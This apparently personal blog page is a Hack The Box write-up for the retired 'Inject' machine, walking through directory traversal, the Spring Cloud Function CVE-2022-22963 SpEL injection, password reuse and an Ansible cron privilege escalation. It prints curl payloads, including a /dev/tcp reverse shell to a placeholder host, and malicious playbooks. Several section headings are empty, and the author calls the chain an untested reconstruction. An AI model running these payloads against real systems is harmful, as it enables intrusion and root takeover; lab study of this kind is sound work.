~ / foobarto.me / htb-machines
--:--:-- UTC
~ / htb-machines / inject.md

inject

Linux · Easy · released 2023-03-11 · retired 2023-07-08

Summary

Inject is an Easy Linux box: directory traversal in ?img= reveals the source → Spring Cloud Function 3.2.2 → CVE-2022-22963 (spring.cloud.function.routing-expression SpEL) RCE as frank → maven settings.xml creds for phil (SSH disabled, so su). Privesc: root cron runs Ansible playbooks from /opt/automation/tasks/ (group staff, phil ∈ staff) → drop a malicious YAML → SetUID bash.

The chain:

  1. /show_image?img=../../../etc/passwd works. Browse pom.xml → spring-cloud-function-web 3.2.2.
  2. CVE-2022-22963: POST any endpoint with header spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec(...) → shell as frank.
  3. ~/.m2/settings.xml<password>DocPhillovestoInject123</password>. sshd disallows phil; su phil works.
  4. /opt/automation/tasks/ is group-writable by staff. A root cron runs ansible-parallel /opt/automation/tasks/*.yml every ~2 min and a sibling rule wipes the dir + restores playbook_1.yml. Drop a playbook FAST and wait: ```yaml
    • hosts: localhost tasks:
      • shell: chmod +s /bin/bash ```
  5. Wait. bash -p → root.

Recon

22/tcp     OpenSSH (PermitUsers root)
8080/tcp   Spring Boot

Foothold — directory traversal + CVE-2022-22963

curl 'http://10.10.11.204:8080/show_image?img=../../../../proc/self/environ'
# leaks env
curl 'http://10.10.11.204:8080/show_image?img=../../../../home/frank/.m2/settings.xml'
# Maven creds for "phil"

# CVE-2022-22963 via SpEL header on any function endpoint
curl http://10.10.11.204:8080/functionRouter \
   -H 'Content-Type: application/x-www-form-urlencoded' \
   -H 'spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec(new String[]{"bash","-c","bash -i >& /dev/tcp/<C2>/<p> 0>&1"})' \
   -d 'data=x'
# shell as frank

Lateral — frank → phil

$ cat ~/.m2/settings.xml
... <username>phil</username><password>DocPhillovestoInject123</password>
$ su phil

Privesc — staff-writable Ansible cron

phil$ ls -ld /opt/automation/tasks
drwxrwxr-x ... root staff
phil$ id
... groups=...,50(staff)

# Read /root/root.txt out via Ansible (avoids needing a root shell)
phil$ echo -e "- hosts: localhost\n  tasks:\n    - shell: cp /root/root.txt /tmp/rt && chmod 644 /tmp/rt" \
        > /opt/automation/tasks/pwn.yml
# wait <2 min for ansible-parallel cron
phil$ cat /tmp/rt

The companion cron rule:

sleep 10 && /usr/bin/rm -rf /opt/automation/tasks/* && /usr/bin/cp /root/playbook_1.yml /opt/automation/tasks/

deletes the planted playbook 10 s after the run, so the file won’t stick around in the directory afterward — but /tmp/rt does. There’s no need to chmod +s bash unless you want a persistent root shell.

Why each step worked

Counterfactuals

Source attribution

Reconstruction is grounded in:

I have not personally rooted this box; the chain above is a study-guide reconstruction of those public sources.

← all htb machines hackthebox.com ↗